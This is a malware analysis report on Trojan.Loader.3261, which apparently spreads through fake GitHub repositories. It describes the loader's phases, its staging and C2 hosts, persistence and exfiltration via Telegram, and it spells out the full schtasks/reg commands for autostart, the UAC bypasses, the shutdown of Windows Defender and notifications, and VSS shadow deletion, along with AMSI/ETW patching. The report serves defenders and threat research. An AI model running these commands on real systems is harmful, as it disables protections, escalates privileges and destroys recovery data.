Trojan.Loader.3261

SHA1:

• b9d6a75a254420af3b6ec82be99fb9b5b9202253

Description

This Trojan plays a major role in the attack that leverages bogus GitHub repositories to target blockchain game enthusiasts and information security professionals. Trojan.Loader.3261 features a modular design. The malware is largely responsible for inflicting multifaceted damage on infected devices.

Operation

Trojan.Loader.3261 is executed in 3 phases. The first two of those may only be carried out once throughout the trojan's runtime. The malware checks whether the objects mutexone and mutex23, which the trojan creates during phase 1 and phase 2, are present in the system. These files contain a respective PID and the exact creation time. If they already exist at the time of subsequent launches, the malware immediately switches to phase 3. The mutex objects are created in the following directories:

• C:\\Users\Public\Music,
• %TEMP%,
• C:\Users\Public\AppData\Local\Temp,
• %APPDATA%.

When the respective phases are completed, these objects don't get deleted to ensure that phase 1 and phase 2 won’t commence again when the trojan restarts.

Phase 1

Trojan.Loader.3261 first checks whether the mutexone object is already present on the infected device. If unavailable, it creates the object and initiates phase 1 to make preparations for subsequent malicious activity.

1. Trojan.Loader.3261 configuration data. The function ensureConfigKeyBaseline()

   The following standard configuration date is stored in C:\\Users\Public\Music\config:

   
   config 1.4.0
   deaduac = false
   defenderalive = false
   ipconnection = false
   startupadmin = false
   startupnormal = false
   AvDead = false
   filesControl = false
   configcontrol = false
   updatecontrol = false
   mutexcontrol = false
   hosts = false
   Sysupdate = false
   SysControl = false
   firststartone = false
   firststarttwo = false
   firststarttree = false
   method1count = 0
   method2count = 0
   indexmode2 = 0
   indexmode3 = 0
   mode3non = 0
   handler = 0
       

2. Downloading and decompressing Nexara.7z. The fetchAndProcess() function

   The trojan uses 7zipin WASM to perform its tasks. If an error occurs, ti will switch to 7zip.exe, which is located in one of the lmalware’s directories. Trojan.Loader.3261 can obtains the information it needs using links to legitimate platforms

   • youtu[.]be/jQmLBnJ3Wt
   • t[.]me/s/lwmic2
   • docs[.]google[.]com/document/d/1eMYEh0IAfjAvK14R-sNjMFU1qYVMyS1Dke5ijDwP_Rk/edit?usp=sharing
   • gitcode[.]com/LastWer/DownMic/blob/main/README.md
   • pastebin[.]com/raw/5sJxy9k9

   Alternatively, it can reach out to the attackers' servers directly:

   • muckanthropic[.]com/LG/Nexara
   • muckduck[.]duckdns[.]org/Nexara.txt

   The trojan obtains the string d173fa44d34820273a40bdcaccdc2487696941e0622db42ea15d00a5375b6f from a remote host, decrypts it and uses the resulting link to download Nexara.7z, 130[.]12[.]182[.]172/Nexara.7z. The encryption algorithm: AES256, CTR mode, The encryption key: qubgl6he13TKi2PjPRhXwDvJzjEQLWcX, IV: 0000000000000000000000000000000.

   The downloaded archive is saved to %Temp/zipath%, and then its contents is extracted to %Temp/semipath%. The archive password is 73hvdu342. It contains auxiliary payload and the configuration file manifest/config.json with basic trojan settings. The decompressed files and folders are copies to the following locations on the device:

   
   "led.7z": C:\\Users\%user%\Public\Packages\Microsoft.Windows.Store_6yyyyb3d8bbwe
   "Nvdia.7z": C:\\Users\%user%\Public\Package,
   "WindowsPowershell.exe": C:\\Users\%user%\Public\Package,
   "Audio": C:\\Users\%user%\Public\Packages\Microsoft.ZBY.BrokerPlugin,
   "Display": C:\\Users\%user%\Public\Packages\Microsoft.ZBY.BrokerPlugin,
   "boot_f": C:\\Users\%user%\Public\Microsoft\PlayReady\InternetExplorer\InPrivate\DefaultBrowser\resources\manifest',
   "kernel_f": C:\\Users\%user%\Public\Microsoft\PlayReady\InternetExplorer\InPrivate\DefaultBrowser\resources\manifest,
   "thread_f": C:\\Users\%user%\Public\Microsoft\PlayReady\InternetExplorer\InPrivate\DefaultBrowser\resources\manifest,
   "thumbcache": C:\\Users\Public\Videos,
   "manifest": C:\\Users\Public\Videos,
       

3. Collecting system information. The function executeTelemetryReportingWorkflow()

   The trojan collects the following information on the infected device:

   • Screenshot,
   • IP address,
   • Location,
   • CPU model,
   • CPU cores,
   • Graphics card model (GPU),
   • RAM,
   • Windows version,
   • Windows architecture,
   • System language,
   • Installed antiviruses,
   • Windows Defender status.

   To take a screenshot, it creates the PowerShell script %TEMP%\CaptureScreens.ps1, which saves the result as %TEMP%\Screenshots\Screenshot.png. The collected information is relayed to attackers via their Telegram bot.

   
   New Person
   IP: ..., Country: ... , Region: ...
   Windows: ..., Username: ..., Antivirus: ...
   CPU: ..., GPU: ..., RAM: ..., UAC Status: ..., Defender Status: ... 
       

4. Autostart. The function ensureScheduledExecutionPolicy()

   Depending on the privileges available to it under the current account (an ordinary user/administrator), the trojan chooses between two methods to ensure that it will restart automatically. If a standard user account is being used:

   • The trojan creates the scheduled task WindowsUpdate to launch Microsoft.exe every 30 minutes.

     
     schtasks /create /tn "WindowsUpdate" /tr C:\\ProgramData'}\\Windows.Microsoft.Photos\\current\\Microsoft.exe" /sc minute /mo 30 /st 00:00 /F
             

   • It then adds the registry entry RegisterDeviceManagemen into HKCU\...\Run.

     
     reg add "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "RegisterDeviceManagement" /t REG_SZ /d "C:\\ProgramData'}\\Windows.Microsoft.Photos\\current\\Microsoft.exe" /f
             

   If administrator privileges are available:

   • Trojan.Loader.3261 deletes the Microsoft.exe launch task created under a standard account.

   • It then creates a test task and immediately deletes it.

     
     schtasks /create /tn "\\Microsoft\\Windows\\Windows Filtering\\TempTask" /tr "cmd.exe /c echo." /sc once /st 00:00 /F` schtasks /delete /tn "${TEMP_TASK_NAME}" /F
             

   • After that it creates the task with elevated privileges.

     
     schtasks /create /tn "\\Microsoft\\Windows\\Windows Filtering\\RegisterDeviceManagement" /tr "C:\\ProgramData'}\\Windows.Microsoft.Photos\\current\\Microsoft.exe" /sc minute /mo 30 /st 00:00 /rl HIGHEST /F
             

5. Privilege escalation. The function executeUacElevationWorkflow()

   Trojan.Loader.3261’s developers implemented two methods for elevating its privileges. During Phase 1, the trojan makes three attempts to accomplish this task by using the first method and then tries three more times to get the desired result by taking the alternative approach.

   The first method:

   • The malware uses the password “73hvdu342” to extract led.dll from the archive led.7z into the directory C:\\Users\Public\Videos\Pictures. The file led.dll is used to launch the malicious application Microsoft.exe;
   • It then creates registry entries in the section HKCU\\Software\\Classes\\CLSID\\{A2D4B6C7-1234-5678-9ABC-DEF012345678}\\InprocServer32 and specifies the path to led.dll as a value for the variable COR_PROFILER_PATH;
   • This code sets the HKCU\Environment variables: COR_ENABLE_PROFILING=1, COR_PROFILER={GUID}, COR_PROFILER_PATH=;
   • The trojan uses the taskschd.msc command to apply the previously set variables and load the DLL. The process gets terminated in five seconds.

   If unsuccessful, the second method is used:

   • The trojan modifies the registry and launches the system utility computerdefaults.exe.

     
     reg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command /v DelegateExecute /t REG_SZ /d "" /f
     reg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command /ve /t REG_SZ /d "C:\\ProgramData\\Windows.Microsoft.Photos\\Current\\Microsoft.exe" /f
     start computerdefaults.exe
             

Phase 2

Trojan.Loader.3261 checks whether the mutex23 object is already present on the infected device. If unavailable, the malware will create it and move on to Phase 2.

1. It will also perform several Phase 1 tasks. Ensuring it will get restarted. The function ensureScheduledExecutionPolicy()

   This step cannot be avoided because new tasks need to be created for Microsoft.exe after the privileges have been elevated.

2. Changing system settings. The function executeSystemHardeningWorkflow()

   The trojan performs a sequence of malicious actions:

   • Disables Windows Defender;

     
     reg add "HKCU\\Software\\Policies\\Microsoft\\Windows Defender Security Center\\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v AllowFastServiceStartup /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableSpecialRunningModes /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f,
     reg delete "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run" /v SecurityHealth /f,
     reg delete "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v SecurityHealth /f,
     schtasks /Change /TN "Microsoft\\Windows\\ExploitGuard\\ExploitGuard MDM policy Refresh" /Disable,
     schtasks /Change /TN "Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance" /Disable,
     schtasks /Change /TN "Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup" /Disable,
     schtasks /Change /TN "Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan" /Disable,
     schtasks /Change /TN "Microsoft\\Windows\\Windows Defender\\Windows Defender Verification" /Disable
             

   • Disables UAC;

     
     reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v EnableLUA /t REG_DWORD /d 0 /f
             

   • Disable notifications;

     
     reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Microsoft.WindowsDefender.SecurityCenter.Notifications" /v Enabled /t REG_DWORD /d 0 /f,
     reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\WindowsDefenderSecurityCenter" /v Enabled /t REG_DWORD /d 0 /f,
     reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f,
     reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile" /v DisableNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile" /v DisableNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\PublicProfile" /v DisableNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Notifications" /v SCNotifyEnabled /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
             

   • Runs a Powershell script to add the following processes to Windows Defender's exclusions list: WindowsPowershell.exe, regasm.exe, Microsoft.exe, MicrosoftRunner.exe, XClient.exe. A custom exclusion for the entire range of file paths starting at C:\ is also added;
   • Disables VSS: the command vssadmin delete shadows /for=c: /all /quiet deletes the available snapshots to prevent users from recovering their files. The trojan uses the Stop-Service -Name VSS command to stops VSS, so that snapshots can't be created.
   • Disables System Restore: the command DisableSR=1, DisableConfig=1 disables the service via the Windows Registry.

3. Injecting malicious code into legitimate processes. The function runHandlerWithTcpControl()

   The trojan retrieves the address of its C2 server from the config.json file, which has been extracted from the archive Nexara.7z. It uses PowerShell and Netstat to test whether a TCP connection to the server can be established. If there is no connection, the payload gets activated.

   The trojan creates a hard link to the malicious file MicrosoftRunner.exe in the same directory, adds this file and Microsoft.exe to Windows Defender’s exclusions and launches MicrosoftRunner.exe with the command line flag --batch-worker.

   This command line option forces Trojan.Loader.3261 to disregard any further actions and select an appropriate operation mode for deploying the payload. The available modes include Mode3, Mode2, Mode3non and Handler.

   • Mode3 is designed to bypass various protection mechanisms and deploy other malicious files. To accomplish this, the malware uses the following techniques:

     • PPID spoofing. The trojan replaces the actual PPIDs (Parent Process IDs) of running malicious processes with fake PPIDs, so that explorer.exe appear to be their parent process. In addition, the processes are started with the option microsoftsignedonly=true.
     • Malicious files among Windows Defender exclusions. If the trojan has administrator privileges, it will also attempt to add the processes Microsoft.exe, node.exe, regasm.exe, dwwin.exe and dwm.exe to Windows Defender’s exclusions.
     • Smart App Control bypass. The script checks the registry path HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy to locate the key VerifiedAndReputablePolicyState. If Smart App Control is enabled, the script will try to change the key’s value to 0. Then it starts C:\Windows\System32\citool.exe –refresh.
     • It asets a random delay ranging from 700 to 2,500 ms between its actions.
     • DLL unhooking. The trojan matches the content of the original file ntdll.dll on disk against the corresponding process code. It runs a byte-by-byte scan to compare the code in the memory and the unaltered file and, by doing so, to identify EDR hooks. If discrepancies that resemble hook functions are discovered, it will replace the code with data from the original file.
     • Halo's Gate. The malware can execute Windows syscalls directly, which complicates their interception by EDR. The trojan retrieves SSNs (System Service Numbers) to use the functions it needs to deploy the payload.
     • ETW patch. It patches ntdll.dll!EtwEventWrite in node.exe’s memory section to disable Event Tracing for Windows (ETW). It uses the instruction mov eax, 0; ret to overwrite the first six bytes of the EtwEventWrite routine to stop the event capture.
     • AMSI patch. The trojan locates the AmsiScanBuffer function in amsi.dll and uses the command mov eax, 0x80070057;ret to overwrite its first 6 bytes. This causes the function to terminate immediately with error code E_INVALIDARG and, as a result, the buffer will never get scanned.

     Once the security mechanisms are circumvented or disabled, Trojan.Loader.3261 injects malicious code into one of these processes: RegAsm.exe, dwwin.exe, dwm.exe. It also decrypts the payload found in the files boot_f, kernel_f and thread_f, which have been extracted from the archive Nexara.7z. The respective encryption keys are stored in config.json as b_f, k_f and t_f values. Once malicious code has been injected into processes, the trojan tests its connection to a C2 server. If at least one malicious module fails to deploy, the script can send an error message to the Telegram bot.

   • Mode2 is used if Trojan.Loader.3261 is unable to retrieve the payload.

     • The files thumbcache_{11..20}.dll are extracted from the archive Nexara.7z and decrypted—these DLLs contain deployment routines.
     • The malware ensures that malicious modules are not running.
     • Then the trojan adds regasm.exe and dwm.exe as Windows Defender exclusions.
     • It also extracts multiple sections of the PowerShell script (PowerShell.Inject.245) from its configuration data and saves the complete script to the temp folder under a random name. The script checks if thumbcache libraries exist in the system and applies the Add-Type command to them. Then it decrypts the main payload and links it with RegAsm.exe. PowerShell.Inject.245 is launched using a script sequence: the process wscript.exe runs %temp%\*.vbs, which, in turn, runs %temp%\*.ps1.
     • It locates the file cryptwizard, decrypts it, and injects its content into the process dwwin.exe. As of this writing, this file doesn’t exist and its launch flag is set to false.
     • It uses a PowerShell script and Netstat to determine whether connection to its C2 server is available.
   • Mode3non is similar to Mode3. However, different protection bypass techniques are employed.
   • In Handler mode, malicious modules are deployed in the same way as in Mode2. However, this mode’s infection sequence is somewhat less flexible and involves fewer modules. For example, in this mode the trojan doesn't use configuration files and relies on its hardcoded data. This can be a legacy infection method that the virus makers didn’t discard completely for some reason.

   As a result, three malicious files are launched: BackDoor.AsyncRAT.115 (SHA1: ed3b7ec91ce882aa235fed14877ad58514f53de9), BackDoor.AsyncRAT.115 (SHA1: 1ad7549378c2af3be2417426cc41852e4d7b6206) and Trojan.InjectNET.14 (SHA1: b83b3cd9ee7f00365308429f58c71170f5f93acc).

   BackDoor.AsyncRAT.115 grants attackers full access to the infected computer. Code from two identical malicious files is injected into processes, only the connection ports are different. Supposedly, this enables two concurrent operators to control the same device.

   The code of Trojan.InjectNET.14 is obfuscated with Cronos-Crypter. The malware also injects Trojan.Clipper.688’s code into the process regasm.exe to spoof crypto wallet addresses in the clipboard. While addresses are being replaced, it takes screenshots and relays them to the attackers’ Telegram bot along with information about the clipper's version, active window's title, user login and the device's IP address.

4. An executable file from the Nvdia.7z archive is launched. The function executeRuntimeBootstrapWorkflow()

   The trojan completes Phase 2 by unpacking and launching the malicious file SearchFilterHost.exe (JS.Stealer.191).

Phase 3

During the final phase, the trojan starts a number of routines. Their list varies depending on the privileges available to the malware. If a standard user account is being used, the list includes performAllChecks(), checkFiles(), ipcontrol() and checkForUpdates().

• performAllChecks(). Trojan.InjectNET.14 checks if the file config.json is present in the system. If the file is not found or appears to be corrupted, it will download the Nexara.7z archive and extract its contents into the appropriate folders.
• checkFiles(). Checks if the following Nexara files are found on disk: boot_f, kernel_f, thread_f, manifest/config.json, thumbcache/thumbcache_{11..20}.dll. If any of them is missing, it downloads and unpacks Nexara.7z.
• ipcontrol(). Attempts to connect to its C2 server. If there is no connection, it switches to one of the modes to deploy the payload.

• checkForUpdates(). Checks the availability of information about its current version on legitimate platforms or on attackers' servers and compares it to the version information in its configuration. If updates are available, PowerShell.Packed.270 is used to install them. Attackers’ servers:

  
  // Update Url
  const Muck = "https://muckanthropic[.]com/LG/MicVersion";
  const rlim5 = "https://muckduck.duckdns[.]org/MicVersion.txt";
      

If administrator permissions are available, uaccontrol(), DefenderControl(), StartupChecks(), antiavControl(), hostsControl() are added to the functions listed above.

• uaccontrol(). The trojan determines whether the process is running with administrator permissions and checks the UAC status. If the the checks fail, the malware will elevate its privileges and disable UAC.
• DefenderControl(). Reviews Windows Defender exclusions and, if necessary, uses the function executeSystemHardeningWorkflow() to change system settings.
• StartupChecks(). Ensures that the trojan will restart automatically.

• antiavControl(). Checks whether ESET, McAfee or Malwarebytes antivirus software is installed on the infected device. If positive, the trojan will attempt to remove it.

  

• hostsControl(). Modifies the etc/hosts file to ensure that certain antivirus vendor domains always resolve to 127.0.0.1. It also removes all of the files and folders in the etc/hosts directory except the files on its allowed list, which include: hosts, networks, protocol, services, lmhosts.sam. This can prevent the user from using backups.

MITRE ATT@CK MATRIX

More about Trojan.Clipper.688

More about JS.Stealer.191

Indicators of compromise

Trojan review publication